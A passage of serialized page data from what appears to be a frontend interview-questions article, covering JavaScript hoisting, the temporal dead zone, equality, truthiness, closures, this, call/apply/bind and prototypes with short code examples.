reassignment.",[497,2707,2708,2727],{},[500,2709,2710],{},[503,2711,2712,2715,2719,2723],{},[506,2713,2714],{},"Feature",[506,2716,2717],{},[34,2718,2085],{},[506,2720,2721],{},[34,2722,2700],{},[506,2724,2725],{},[34,2726,754],{},[519,2728,2729,2742,2759,2770],{},[503,2730,2731,2734,2737,2740],{},[524,2732,2733],{},"Scope",[524,2735,2736],{},"Function",[524,2738,2739],{},"Block",[524,2741,2739],{},[503,2743,2744,2747,2754,2757],{},[524,2745,2746],{},"Hoisted",[524,2748,2749,2750,2753],{},"Yes (initialised to ",[34,2751,2752],{},"undefined",")",[524,2755,2756],{},"Yes (in the temporal dead zone)",[524,2758,2756],{},[503,2760,2761,2764,2766,2768],{},[524,2762,2763],{},"Reassignable",[524,2765,535],{},[524,2767,535],{},[524,2769,550],{},[503,2771,2772,2775,2777,2779],{},[524,2773,2774],{},"Redeclarable in same scope",[524,2776,535],{},[524,2778,550],{},[524,2780,550],{},[11,2782,2783,2785,2786,70,2788,2790],{},[34,2784,2085],{}," was the only option for years, and its function scope and hoisting behaviour caused a lot of bugs. ",[34,2787,2700],{},[34,2789,754],{}," were introduced in ES6 (2015) and are scoped to the nearest block (the curly braces), which matches how variables work in most other languages and how people intuitively expect them to work.",[11,2792,2793,2794,2796,2797,2799,2800,2802],{},"The modern guideline almost everyone follows: default to ",[34,2795,754],{},", switch to ",[34,2798,2700],{}," only when you actually need to reassign, and never use ",[34,2801,2085],{}," in new code.",[23,2804,2806],{"id":2805},"_37-what-is-hoisting","37. What is hoisting?",[11,2808,2809],{},"Hoisting is the way the JavaScript engine processes declarations before running your code. Conceptually, you can imagine the engine reading your function or script top to bottom once, finding every variable and function declaration, and \"moving\" them to the top.",[11,2811,2812],{},"The catch is that not everything is hoisted the same way:",[483,2814,2815,2821,2832],{},[486,2816,2817,2820],{},[1183,2818,2819],{},"Function declarations"," are hoisted with their body, so you can call them above where they are written.",[486,2822,2823,2828,2829,2831],{},[1183,2824,2825,2827],{},[34,2826,2085],{}," declarations"," are hoisted, but only the declaration. The value is ",[34,2830,2752],{}," until the assignment line runs.",[486,2833,2834,2840,2841,360],{},[1183,2835,2836,70,2838,2827],{},[34,2837,2700],{},[34,2839,754],{}," are hoisted too, but they are in the \"temporal dead zone\" until the line is reached. Touching them earlier throws a ",[34,2842,2843],{},"ReferenceError",[85,2845,2847],{"className":744,"code":2846,"language":746,"meta":90,"style":90},"console.log(a)  // undefined (var is hoisted with undefined)\nconsole.log(b)  // ReferenceError (let is in TDZ)\nconsole.log(greet())  // 'Hi' (function declaration is fully hoisted)\n\nvar a = 1\nlet b = 2\nfunction greet() { return 'Hi' }\n",[34,2848,2849,2861,2873,2890,2894,2906,2918],{"__ignoreMap":90},[94,2850,2851,2853,2855,2858],{"class":96,"line":97},[94,2852,781],{"class":100},[94,2854,784],{"class":146},[94,2856,2857],{"class":100},"(a)  ",[94,2859,2860],{"class":790},"// undefined (var is hoisted with undefined)\n",[94,2862,2863,2865,2867,2870],{"class":96,"line":111},[94,2864,781],{"class":100},[94,2866,784],{"class":146},[94,2868,2869],{"class":100},"(b)  ",[94,2871,2872],{"class":790},"// ReferenceError (let is in TDZ)\n",[94,2874,2875,2877,2879,2881,2884,2887],{"class":96,"line":122},[94,2876,781],{"class":100},[94,2878,784],{"class":146},[94,2880,770],{"class":100},[94,2882,2883],{"class":146},"greet",[94,2885,2886],{"class":100},"())  ",[94,2888,2889],{"class":790},"// 'Hi' (function declaration is fully hoisted)\n",[94,2891,2892],{"class":96,"line":138},[94,2893,289],{"emptyLinePlaceholder":288},[94,2895,2896,2898,2901,2903],{"class":96,"line":164},[94,2897,2085],{"class":753},[94,2899,2900],{"class":100}," a ",[94,2902,150],{"class":753},[94,2904,2905],{"class":757}," 1\n",[94,2907,2908,2910,2913,2915],{"class":96,"line":174},[94,2909,2700],{"class":753},[94,2911,2912],{"class":100}," b ",[94,2914,150],{"class":753},[94,2916,2917],{"class":757}," 2\n",[94,2919,2920,2923,2926,2929,2932,2935],{"class":96,"line":188},[94,2921,2922],{"class":753},"function",[94,2924,2925],{"class":146}," greet",[94,2927,2928],{"class":100},"() { ",[94,2930,2931],{"class":753},"return",[94,2933,2934],{"class":153}," 'Hi'",[94,2936,2937],{"class":100}," }\n",[11,2939,2940,2941,70,2943,2945],{},"Hoisting is mostly a curiosity once you switch to ",[34,2942,2700],{},[34,2944,754],{},", but it shows up in interviews because it tests whether you understand how the engine actually thinks about your code.",[23,2947,2949],{"id":2948},"_38-what-is-the-temporal-dead-zone-tdz","38. What is the temporal dead zone (TDZ)?",[11,2951,2952,2953,216,2955,2957,2958,360],{},"The temporal dead zone is the period from the start of a block until the line where a ",[34,2954,2700],{},[34,2956,754],{}," is declared. During that window, the variable exists in the engine's mind but cannot be accessed. Touching it throws a ",[34,2959,2843],{},[85,2961,2963],{"className":744,"code":2962,"language":746,"meta":90,"style":90},"{\n    console.log(x)  // ReferenceError: Cannot access 'x' before initialization\n    let x = 5\n}\n",[34,2964,2965,2970,2983,2996],{"__ignoreMap":90},[94,2966,2967],{"class":96,"line":97},[94,2968,2969],{"class":100},"{\n",[94,2971,2972,2975,2977,2980],{"class":96,"line":111},[94,2973,2974],{"class":100},"    console.",[94,2976,784],{"class":146},[94,2978,2979],{"class":100},"(x)  ",[94,2981,2982],{"class":790},"// ReferenceError: Cannot access 'x' before initialization\n",[94,2984,2985,2988,2991,2993],{"class":96,"line":122},[94,2986,2987],{"class":753},"    let",[94,2989,2990],{"class":100}," x ",[94,2992,150],{"class":753},[94,2994,2995],{"class":757}," 5\n",[94,2997,2998],{"class":96,"line":138},[94,2999,1307],{"class":100},[11,3001,3002,3003,3005,3006,3008],{},"The reason the TDZ exists is to catch bugs. With ",[34,3004,2085],{},", you could read a variable before it was assigned and silently get ",[34,3007,2752],{},", which made typos and ordering mistakes hard to spot. The TDZ turns those into loud errors instead.",[23,3010,3012,3013,70,3016,229],{"id":3011},"_39-what-is-the-difference-between-and","39. What is the difference between ",[34,3014,3015],{},"==",[34,3017,3018],{},"===",[11,3020,3021,3023,3024,3026,3027,3030],{},[34,3022,3015],{}," is loose equality, which means it compares values and converts types if they differ. ",[34,3025,3018],{}," is strict equality, which compares values without any type conversion: if the types are different, it returns ",[34,3028,3029],{},"false"," immediately.",[85,3032,3034],{"className":744,"code":3033,"language":746,"meta":90,"style":90},"0 == '0'             // true (string '0' is coerced to number)\n0 === '0'            // false (different types)\nnull == undefined    // true (special case)\nnull === undefined   // false\n'' == false          // true\n'' === false         // false\n",[34,3035,3036,3050,3062,3075,3086,3098],{"__ignoreMap":90},[94,3037,3038,3041,3044,3047],{"class":96,"line":97},[94,3039,3040],{"class":757},"0",[94,3042,3043],{"class":753}," ==",[94,3045,3046],{"class":153}," '0'",[94,3048,3049],{"class":790},"             // true (string '0' is coerced to number)\n",[94,3051,3052,3054,3057,3059],{"class":96,"line":111},[94,3053,3040],{"class":757},[94,3055,3056],{"class":753}," ===",[94,3058,3046],{"class":153},[94,3060,3061],{"class":790},"            // false (different types)\n",[94,3063,3064,3067,3069,3072],{"class":96,"line":122},[94,3065,3066],{"class":757},"null",[94,3068,3043],{"class":753},[94,3070,3071],{"class":757}," undefined",[94,3073,3074],{"class":790},"    // true (special case)\n",[94,3076,3077,3079,3081,3083],{"class":96,"line":138},[94,3078,3066],{"class":757},[94,3080,3056],{"class":753},[94,3082,3071],{"class":757},[94,3084,3085],{"class":790},"   // false\n",[94,3087,3088,3090,3092,3095],{"class":96,"line":164},[94,3089,1877],{"class":153},[94,3091,3043],{"class":753},[94,3093,3094],{"class":757}," false",[94,3096,3097],{"class":790},"          // true\n",[94,3099,3100,3102,3104,3106],{"class":96,"line":174},[94,3101,1877],{"class":153},[94,3103,3056],{"class":753},[94,3105,3094],{"class":757},[94,3107,3108],{"class":790},"         // false\n",[11,3110,3111,3112,3114,3115,3118,3119,70,3121,3123],{},"Loose equality has so many surprising corners (the table of cases is genuinely confusing) that virtually every modern style guide bans it. Use ",[34,3113,3018],{}," everywhere by default. The one common exception is ",[34,3116,3117],{},"value == null",", which is a concise way to check for both ",[34,3120,3066],{},[34,3122,2752],{}," at once, and many codebases allow that single pattern.",[23,3125,3127],{"id":3126},"_40-what-are-truthy-and-falsy-values","40. What are truthy and falsy values?",[11,3129,3130,3131,3134,3135,3134,3138,3141,3142,3144,3145,3148,3149,360],{},"When JavaScript expects a boolean (an ",[34,3132,3133],{},"if",", a ",[34,3136,3137],{},"&&",[34,3139,3140],{},"||","), it converts whatever you gave it into one. Values that convert to ",[34,3143,3029],{}," are called ",[1183,3146,3147],{},"falsy",", and everything else is ",[1183,3150,3151],{},"truthy",[11,3153,3154,3155,346,3157,346,3159,346,3162,3165,3166,3168,3169,346,3171,463,3173,3176],{},"There are exactly eight falsy values: ",[34,3156,3029],{},[34,3158,3040],{},[34,3160,3161],{},"-0",[34,3163,3164],{},"0n"," (BigInt zero), ",[34,3167,1877],{}," (empty string), ",[34,3170,3066],{},[34,3172,2752],{},[34,3174,3175],{},"NaN",". That is the whole list. Memorising it is genuinely useful.",[85,3178,3180],{"className":744,"code":3179,"language":746,"meta":90,"style":90},"if (user.name) { ... }   // runs if name is a non empty string\nif (items.length) { ... } // runs if there are any items\n",[34,3181,3182,3198],{"__ignoreMap":90},[94,3183,3184,3186,3189,3192,3195],{"class":96,"line":97},[94,3185,3133],{"class":753},[94,3187,3188],{"class":100}," (user.name) { ",[94,3190,3191],{"class":753},"...",[94,3193,3194],{"class":100}," }   ",[94,3196,3197],{"class":790},"// runs if name is a non empty string\n",[94,3199,3200,3202,3205,3208,3211,3213,3216],{"class":96,"line":111},[94,3201,3133],{"class":753},[94,3203,3204],{"class":100}," (items.",[94,3206,3207],{"class":757},"length",[94,3209,3210],{"class":100},") { ",[94,3212,3191],{"class":753},[94,3214,3215],{"class":100}," } ",[94,3217,3218],{"class":790},"// runs if there are any items\n",[11,3220,3221,3222,70,3225,3228,3229,3232,3233,3236],{},"The classic trap: ",[34,3223,3224],{},"[]",[34,3226,3227],{},"{}"," are truthy. An empty array or empty object is ",[1183,3230,3231],{},"not"," falsy. So ",[34,3234,3235],{},"if ([])"," runs the body, which surprises a lot of beginners.",[23,3238,3240,3241,3243,3244,229],{"id":3239},"_41-what-is-null-vs-undefined","41. What is ",[34,3242,3066],{}," vs ",[34,3245,2752],{},[11,3247,3248],{},"Both mean \"no value,\" but they are used in different situations.",[11,3250,3251,3253,3254,3256,3257,3259],{},[34,3252,2752],{}," is what JavaScript itself uses when something has not been set. A declared but unassigned variable, a missing function argument, a property that does not exist on an object: all of these are ",[34,3255,2752],{},". You usually do not assign ",[34,3258,2752],{}," yourself.",[11,3261,3262,3264,3265,3268,3269,3272,3273,3275],{},[34,3263,3066],{}," is what ",[1183,3266,3267],{},"you"," assign when you want to express \"intentionally empty.\" For example, you might initialise a ",[34,3270,3271],{},"currentUser"," variable to ",[34,3274,3066],{}," to say \"we know there is no user yet, and that is on purpose.\"",[85,3277,3279],{"className":744,"code":3278,"language":746,"meta":90,"style":90},"let x\nconsole.log(x)  // undefined (never assigned)\n\nlet user = null  // I am declaring there is no user right now\n",[34,3280,3281,3288,3299,3303],{"__ignoreMap":90},[94,3282,3283,3285],{"class":96,"line":97},[94,3284,2700],{"class":753},[94,3286,3287],{"class":100}," x\n",[94,3289,3290,3292,3294,3296],{"class":96,"line":111},[94,3291,781],{"class":100},[94,3293,784],{"class":146},[94,3295,2979],{"class":100},[94,3297,3298],{"class":790},"// undefined (never assigned)\n",[94,3300,3301],{"class":96,"line":122},[94,3302,289],{"emptyLinePlaceholder":288},[94,3304,3305,3307,3310,3312,3315],{"class":96,"line":138},[94,3306,2700],{"class":753},[94,3308,3309],{"class":100}," user ",[94,3311,150],{"class":753},[94,3313,3314],{"class":757}," null",[94,3316,3317],{"class":790},"  // I am declaring there is no user right now\n",[11,3319,3320,3321,3324,3325,3328,3329,3331],{},"A famous historical bug: ",[34,3322,3323],{},"typeof null"," returns ",[34,3326,3327],{},"'object'",", even though ",[34,3330,3066],{}," is not an object. This was a mistake in the original implementation and is now too late to fix without breaking the web.",[23,3333,3335],{"id":3334},"_42-what-is-a-closure","42. What is a closure?",[11,3337,3338],{},"A closure is what happens when a function \"remembers\" the variables from the scope where it was defined, even after that outer scope has finished running. It is one of the most powerful ideas in JavaScript and the foundation of a huge number of patterns.",[85,3340,3342],{"className":744,"code":3341,"language":746,"meta":90,"style":90},"function counter() {\n    let count = 0\n    return function () {\n        count += 1\n        return count\n    }\n}\n\nconst next = counter()\nnext()  // 1\nnext()  // 2\nnext()  // 3\n",[34,3343,3344,3354,3366,3377,3387,3395,3399,3403,3407,3421,3432,3441],{"__ignoreMap":90},[94,3345,3346,3348,3351],{"class":96,"line":97},[94,3347,2922],{"class":753},[94,3349,3350],{"class":146}," counter",[94,3352,3353],{"class":100},"() {\n",[94,3355,3356,3358,3361,3363],{"class":96,"line":111},[94,3357,2987],{"class":753},[94,3359,3360],{"class":100}," count ",[94,3362,150],{"class":753},[94,3364,3365],{"class":757}," 0\n",[94,3367,3368,3371,3374],{"class":96,"line":122},[94,3369,3370],{"class":753},"    return",[94,3372,3373],{"class":753}," function",[94,3375,3376],{"class":100}," () {\n",[94,3378,3379,3382,3385],{"class":96,"line":138},[94,3380,3381],{"class":100},"        count ",[94,3383,3384],{"class":753},"+=",[94,3386,2905],{"class":757},[94,3388,3389,3392],{"class":96,"line":164},[94,3390,3391],{"class":753},"        return",[94,3393,3394],{"class":100}," count\n",[94,3396,3397],{"class":96,"line":174},[94,3398,2289],{"class":100},[94,3400,3401],{"class":96,"line":188},[94,3402,1307],{"class":100},[94,3404,3405],{"class":96,"line":203},[94,3406,289],{"emptyLinePlaceholder":288},[94,3408,3409,3411,3414,3416,3418],{"class":96,"line":1695},[94,3410,754],{"class":753},[94,3412,3413],{"class":757}," next",[94,3415,761],{"class":753},[94,3417,3350],{"class":146},[94,3419,3420],{"class":100},"()\n",[94,3422,3423,3426,3429],{"class":96,"line":1702},[94,3424,3425],{"class":146},"next",[94,3427,3428],{"class":100},"()  ",[94,3430,3431],{"class":790},"// 1\n",[94,3433,3434,3436,3438],{"class":96,"line":1714},[94,3435,3425],{"class":146},[94,3437,3428],{"class":100},[94,3439,3440],{"class":790},"// 2\n",[94,3442,3443,3445,3447],{"class":96,"line":1726},[94,3444,3425],{"class":146},[94,3446,3428],{"class":100},[94,3448,3449],{"class":790},"// 3\n",[11,3451,3452,3453,3456,3457,3460,3461,3463,3464,3466],{},"When ",[34,3454,3455],{},"counter()"," finishes, you might expect ",[34,3458,3459],{},"count"," to vanish. It does not, because the inner function still holds a reference to it. Each call to ",[34,3462,3455],{}," produces a fresh ",[34,3465,3459],{}," and a fresh closure, so two counters do not share state.",[11,3468,3469],{},[426,3470],{"alt":3471,"src":3472},"Closure illustration","/post-images/top-100-frontend-interview-questions/javascript-closure-diagram.png",[11,3474,3475],{},"Closures are how data privacy works in JavaScript (\"private\" variables are just variables captured in a closure), how event handlers remember which item they are bound to, and how functional patterns like currying and memoisation are implemented.",[23,3477,3479],{"id":3478},"_43-what-is-the-difference-between-function-declarations-and-function-expressions","43. What is the difference between function declarations and function expressions?",[11,3481,1748,3482,3485,3486,3488],{},[1183,3483,3484],{},"function declaration"," uses the ",[34,3487,2922],{}," keyword as a statement and gives the function a name. It is hoisted with its body, so you can call it above the line it is defined on.",[11,3490,1748,3491,3494,3495,3497,3498,3497,3500,360],{},[1183,3492,3493],{},"function expression"," is a function used as a value: assigned to a variable, passed as an argument, or returned. It is not hoisted as a function; only the variable name (if any) is hoisted following the rules of ",[34,3496,2085],{},"/",[34,3499,2700],{},[34,3501,754],{},[85,3503,3505],{"className":744,"code":3504,"language":746,"meta":90,"style":90},"sayHi()                              // works\nfunction sayHi() { console.log('hi') }\n\nsayBye()                             // ReferenceError or TypeError\nconst sayBye = function () { console.log('bye') }\n",[34,3506,3507,3518,3538,3542,3553],{"__ignoreMap":90},[94,3508,3509,3512,3515],{"class":96,"line":97},[94,3510,3511],{"class":146},"sayHi",[94,3513,3514],{"class":100},"()                              ",[94,3516,3517],{"class":790},"// works\n",[94,3519,3520,3522,3525,3528,3530,3532,3535],{"class":96,"line":111},[94,3521,2922],{"class":753},[94,3523,3524],{"class":146}," sayHi",[94,3526,3527],{"class":100},"() { console.",[94,3529,784],{"class":146},[94,3531,770],{"class":100},[94,3533,3534],{"class":153},"'hi'",[94,3536,3537],{"class":100},") }\n",[94,3539,3540],{"class":96,"line":122},[94,3541,289],{"emptyLinePlaceholder":288},[94,3543,3544,3547,3550],{"class":96,"line":138},[94,3545,3546],{"class":146},"sayBye",[94,3548,3549],{"class":100},"()                             ",[94,3551,3552],{"class":790},"// ReferenceError or TypeError\n",[94,3554,3555,3557,3560,3562,3564,3567,3569,3571,3574],{"class":96,"line":164},[94,3556,754],{"class":753},[94,3558,3559],{"class":146}," sayBye",[94,3561,761],{"class":753},[94,3563,3373],{"class":753},[94,3565,3566],{"class":100}," () { console.",[94,3568,784],{"class":146},[94,3570,770],{"class":100},[94,3572,3573],{"class":153},"'bye'",[94,3575,3537],{"class":100},[11,3577,3578,3579,3581],{},"In practice, most modern code uses expressions (often arrow functions assigned to ",[34,3580,754],{},"), because they are predictable: you cannot accidentally use them before they are defined.",[23,3583,3585],{"id":3584},"_44-what-are-arrow-functions-and-how-are-they-different-from-regular-functions","44. What are arrow functions and how are they different from regular functions?",[11,3587,3588],{},"Arrow functions are a shorter syntax for writing functions, introduced in ES6. They look like this:",[85,3590,3592],{"className":744,"code":3591,"language":746,"meta":90,"style":90},"const add = (a, b) => a + b\nconst square = n => n * n\nconst greet = () => console.log('hi')\n",[34,3593,3594,3627,3650],{"__ignoreMap":90},[94,3595,3596,3598,3601,3603,3605,3608,3610,3613,3616,3619,3621,3624],{"class":96,"line":97},[94,3597,754],{"class":753},[94,3599,3600],{"class":146}," add",[94,3602,761],{"class":753},[94,3604,2253],{"class":100},[94,3606,3607],{"class":2039},"a",[94,3609,346],{"class":100},[94,3611,3612],{"class":2039},"b",[94,3614,3615],{"class":100},") ",[94,3617,3618],{"class":753},"=>",[94,3620,2900],{"class":100},[94,3622,3623],{"class":753},"+",[94,3625,3626],{"class":100}," b\n",[94,3628,3629,3631,3634,3636,3639,3642,3645,3647],{"class":96,"line":111},[94,3630,754],{"class":753},[94,3632,3633],{"class":146}," square",[94,3635,761],{"class":753},[94,3637,3638],{"class":2039}," n",[94,3640,3641],{"class":753}," =>",[94,3643,3644],{"class":100}," n ",[94,3646,1272],{"class":753},[94,3648,3649],{"class":100}," n\n",[94,3651,3652,3654,3656,3658,3661,3663,3666,3668,3670,3672],{"class":96,"line":122},[94,3653,754],{"class":753},[94,3655,2925],{"class":146},[94,3657,761],{"class":753},[94,3659,3660],{"class":100}," () ",[94,3662,3618],{"class":753},[94,3664,3665],{"class":100}," console.",[94,3667,784],{"class":146},[94,3669,770],{"class":100},[94,3671,3534],{"class":153},[94,3673,776],{"class":100},[11,3675,3676],{},"But they are not just shorter syntax; they have a few important behavioural differences.",[483,3678,3679,3692,3699,3710],{},[486,3680,3681,3682,3684,3685,3688,3689,3691],{},"They do ",[1183,3683,3231],{}," have their own ",[34,3686,3687],{},"this",". They inherit ",[34,3690,3687],{}," from the surrounding scope, which is exactly what you usually want inside callbacks.",[486,3693,3694,3695,3698],{},"They cannot be used with ",[34,3696,3697],{},"new"," (they are not constructors).",[486,3700,3701,3702,3705,3706,3709],{},"They do not have their own ",[34,3703,3704],{},"arguments"," object; use rest parameters (",[34,3707,3708],{},"...args",") instead.",[486,3711,3712,3713,401],{},"They cannot be generators (",[34,3714,3715],{},"function*",[11,3717,3718,3719,3721,3722,360],{},"The practical guidance: use arrow functions for short callbacks and pure functions; use regular ",[34,3720,2922],{}," for object methods and constructors where you need a real ",[34,3723,3687],{},[23,3725,3727,3728,3730],{"id":3726},"_45-what-is-this-in-javascript","45. What is ",[34,3729,3687],{}," in JavaScript?",[11,3732,3733,3735,3736,3739,3740,3743],{},[34,3734,3687],{}," is a special keyword whose value is decided by how a function is ",[1183,3737,3738],{},"called",", not where it is ",[1183,3741,3742],{},"defined",". That is what makes it confusing for people coming from other languages.",[11,3745,3746],{},"The main rules are:",[483,3748,3749,3768,3781,3794,3813],{},[486,3750,3751,2253,3754,3757,3758,3760,3761,3764,3765,3767],{},[1183,3752,3753],{},"Standalone call",[34,3755,3756],{},"fn()","): ",[34,3759,3687],{}," is the global object (",[34,3762,3763],{},"window"," in browsers), or ",[34,3766,2752],{}," in strict mode.",[486,3769,3770,2253,3773,3757,3776,1541,3778,360],{},[1183,3771,3772],{},"Method call",[34,3774,3775],{},"obj.fn()",[34,3777,3687],{},[34,3779,3780],{},"obj",[486,3782,3783,2253,3788,3757,3791,3793],{},[1183,3784,3785,3787],{},[34,3786,3697],{}," call",[34,3789,3790],{},"new Fn()",[34,3792,3687],{}," is the brand new object being created.",[486,3795,3796,2253,3799,346,3802,346,3805,3757,3808,1541,3810,360],{},[1183,3797,3798],{},"Explicit binding",[34,3800,3801],{},"fn.call(x)",[34,3803,3804],{},"fn.apply(x)",[34,3806,3807],{},"fn.bind(x)",[34,3809,3687],{},[34,3811,3812],{},"x",[486,3814,3815,3818,3819,3821],{},[1183,3816,3817],{},"Arrow function",": arrow functions ignore all of the above and inherit ",[34,3820,3687],{}," from the surrounding lexical scope.",[85,3823,3825],{"className":744,"code":3824,"language":746,"meta":90,"style":90},"const user = {\n    name: 'Ada',\n    greet() {\n        console.log(this.name)\n    }\n}\n\nuser.greet()                    // 'Ada'\nconst fn = user.greet\nfn()                            // undefined or error (lost binding)\nfn.call(user)                   // 'Ada' (rebound)\n",[34,3826,3827,3838,3849,3856,3870,3874,3878,3882,3895,3907,3918],{"__ignoreMap":90},[94,3828,3829,3831,3834,3836],{"class":96,"line":97},[94,3830,754],{"class":753},[94,3832,3833],{"class":757}," user",[94,3835,761],{"class":753},[94,3837,1289],{"class":100},[94,3839,3840,3843,3846],{"class":96,"line":111},[94,3841,3842],{"class":100},"    name: ",[94,3844,3845],{"class":153},"'Ada'",[94,3847,3848],{"class":100},",\n",[94,3850,3851,3854],{"class":96,"line":122},[94,3852,3853],{"class":146},"    greet",[94,3855,3353],{"class":100},[94,3857,3858,3861,3863,3865,3867],{"class":96,"line":138},[94,3859,3860],{"class":100},"        console.",[94,3862,784],{"class":146},[94,3864,770],{"class":100},[94,3866,3687],{"class":757},[94,3868,3869],{"class":100},".name)\n",[94,3871,3872],{"class":96,"line":164},[94,3873,2289],{"class":100},[94,3875,3876],{"class":96,"line":174},[94,3877,1307],{"class":100},[94,3879,3880],{"class":96,"line":188},[94,3881,289],{"emptyLinePlaceholder":288},[94,3883,3884,3887,3889,3892],{"class":96,"line":203},[94,3885,3886],{"class":100},"user.",[94,3888,2883],{"class":146},[94,3890,3891],{"class":100},"()                    ",[94,3893,3894],{"class":790},"// 'Ada'\n",[94,3896,3897,3899,3902,3904],{"class":96,"line":1695},[94,3898,754],{"class":753},[94,3900,3901],{"class":757}," fn",[94,3903,761],{"class":753},[94,3905,3906],{"class":100}," user.greet\n",[94,3908,3909,3912,3915],{"class":96,"line":1702},[94,3910,3911],{"class":146},"fn",[94,3913,3914],{"class":100},"()                            ",[94,3916,3917],{"class":790},"// undefined or error (lost binding)\n",[94,3919,3920,3923,3926,3929],{"class":96,"line":1714},[94,3921,3922],{"class":100},"fn.",[94,3924,3925],{"class":146},"call",[94,3927,3928],{"class":100},"(user)                   ",[94,3930,3931],{"class":790},"// 'Ada' (rebound)\n",[11,3933,3934,3935,3938,3939,3941,3942,3945,3946,360],{},"A common bug is passing ",[34,3936,3937],{},"user.greet"," as a callback and being surprised that ",[34,3940,3687],{}," is no longer the user. Either bind it explicitly with ",[34,3943,3944],{},".bind(user)",", or wrap it in an arrow function that captures the right ",[34,3947,3687],{},[23,3949,3951,3952,346,3954,463,3957,229],{"id":3950},"_46-what-is-the-difference-between-call-apply-and-bind","46. What is the difference between ",[34,3953,3925],{},[34,3955,3956],{},"apply",[34,3958,3959],{},"bind",[11,3961,3962,3963,3965],{},"All three are methods on functions that let you control what ",[34,3964,3687],{}," is when the function runs. The difference is in how they pass arguments and whether they invoke the function immediately.",[483,3967,3968,3980,3990],{},[486,3969,3970,3973,3974,3976,3977,3979],{},[34,3971,3972],{},"fn.call(thisArg, a, b, c)",": calls ",[34,3975,3911],{}," immediately with the given ",[34,3978,3687],{}," and a list of arguments.",[486,3981,3982,3973,3985,3976,3987,3989],{},[34,3983,3984],{},"fn.apply(thisArg, [a, b, c])",[34,3986,3911],{},[34,3988,3687],{}," and an array of arguments.",[486,3991,3992,3995,3996,1734,3999,4001,4002,4005],{},[34,3993,3994],{},"fn.bind(thisArg, a)",": returns a ",[1183,3997,3998],{},"new function",[34,4000,3687],{}," permanently set to ",[34,4003,4004],{},"thisArg",", and optionally with some arguments pre filled. You call it later.",[85,4007,4009],{"className":744,"code":4008,"language":746,"meta":90,"style":90},"function greet(greeting, name) { return `${greeting}, ${name}` }\n\ngreet.call(null, 'Hi', 'Ada')         // 'Hi, Ada'\ngreet.apply(null, ['Hi', 'Ada'])      // 'Hi, Ada'\n\nconst sayHi = greet.bind(null, 'Hi')\nsayHi('Ada')                          // 'Hi, Ada'\n",[34,4010,4011,4046,4050,4076,4100,4104,4127],{"__ignoreMap":90},[94,4012,4013,4015,4017,4019,4022,4024,4027,4029,4031,4034,4036,4039,4041,4044],{"class":96,"line":97},[94,4014,2922],{"class":753},[94,4016,2925],{"class":146},[94,4018,770],{"class":100},[94,4020,4021],{"class":2039},"greeting",[94,4023,346],{"class":100},[94,4025,4026],{"class":2039},"name",[94,4028,3210],{"class":100},[94,4030,2931],{"class":753},[94,4032,4033],{"class":153}," `${",[94,4035,4021],{"class":100},[94,4037,4038],{"class":153},"}, ${",[94,4040,4026],{"class":100},[94,4042,4043],{"class":153},"}`",[94,4045,2937],{"class":100},[94,4047,4048],{"class":96,"line":111},[94,4049,289],{"emptyLinePlaceholder":288},[94,4051,4052,4055,4057,4059,4061,4063,4066,4068,4070,4073],{"class":96,"line":122},[94,4053,4054],{"class":100},"greet.",[94,4056,3925],{"class":146},[94,4058,770],{"class":100},[94,4060,3066],{"class":757},[94,4062,346],{"class":100},[94,4064,4065],{"class":153},"'Hi'",[94,4067,346],{"class":100},[94,4069,3845],{"class":153},[94,4071,4072],{"class":100},")         ",[94,4074,4075],{"class":790},"// 'Hi, Ada'\n",[94,4077,4078,4080,4082,4084,4086,4089,4091,4093,4095,4098],{"class":96,"line":138},[94,4079,4054],{"class":100},[94,4081,3956],{"class":146},[94,4083,770],{"class":100},[94,4085,3066],{"class":757},[94,4087,4088],{"class":100},", [",[94,4090,4065],{"class":153},[94,4092,346],{"class":100},[94,4094,3845],{"class":153},[94,4096,4097],{"class":100},"])      ",[94,4099,4075],{"class":790},[94,4101,4102],{"class":96,"line":164},[94,4103,289],{"emptyLinePlaceholder":288},[94,4105,4106,4108,4110,4112,4115,4117,4119,4121,4123,4125],{"class":96,"line":174},[94,4107,754],{"class":753},[94,4109,3524],{"class":757},[94,4111,761],{"class":753},[94,4113,4114],{"class":100}," greet.",[94,4116,3959],{"class":146},[94,4118,770],{"class":100},[94,4120,3066],{"class":757},[94,4122,346],{"class":100},[94,4124,4065],{"class":153},[94,4126,776],{"class":100},[94,4128,4129,4131,4133,4135,4138],{"class":96,"line":188},[94,4130,3511],{"class":146},[94,4132,770],{"class":100},[94,4134,3845],{"class":153},[94,4136,4137],{"class":100},")                          ",[94,4139,4075],{"class":790},[11,4141,4142,4143,4146,4147,4149,4150,4153,4154,4156,4157,4160,4161,4163],{},"Mnemonic: ",[1183,4144,4145],{},"C","all uses ",[1183,4148,4145],{},"ommas, ",[1183,4151,4152],{},"A","pply uses an ",[1183,4155,4152],{},"rray, ",[1183,4158,4159],{},"B","ind makes a ",[1183,4162,4159],{},"ound copy you call later.",[23,4165,4167],{"id":4166},"_47-what-is-prototypal-inheritance","47. What is prototypal inheritance?",[11,4169,4170,4171,4174,4175,360],{},"Every object in JavaScript has a hidden link to another object called its ",[1183,4172,4173],{},"prototype",". When you ask for a property that does not exist directly on the object, the engine walks up that chain looking for it, until it finds the property or hits ",[34,4176,3066],{},[11,4178,4179],{},[426,4180],{"alt":4181,"src":4182},"Prototype chain diagram","/post-images/top-100-frontend-interview-questions/prototype-chain-diagram.png",[85,4184,4186],{"className":744,"code":4185,"language":746,"meta":90,"style":90},"const animal = { eats: true }\nconst rabbit = Object.create(animal)\nrabbit.jumps = true\n\nconsole.log(rabbit.jumps)  // true (own property)\nconsole.log(rabbit.eats)   // true (found on animal via prototype)\n",[34,4187,4188,4205,4223,4233,4237,4249],{"__ignoreMap":90},[94,4189,4190,4192,4195,4197,4200,4203],{"class":96,"line":97},[94,4191,754],{"class":753},[94,4193,4194],{"class":757}," animal",[94,4196,761],{"class":753},[94,4198,4199],{"class":100}," { eats: ",[94,4201,4202],{"class":757},"true",[94,4204,2937],{"class":100},[94,4206,4207,4209,4212,4214,4217,4220],{"class":96,"line":111},[94,4208,754],{"class":753},[94,4210,4211],{"class":757}," rabbit",[94,4213,761],{"class":753},[94,4215,4216],{"class":100}," Object.",[94,4218,4219],{"class":146},"create",[94,4221,4222],{"class":100},"(animal)\n",[94,4224,4225,4228,4230],{"class":96,"line":122},[94,4226,4227],{"class":100},"rabbit.jumps ",[94,4229,150],{"class":753},[94,4231,4232],{"class":757}," 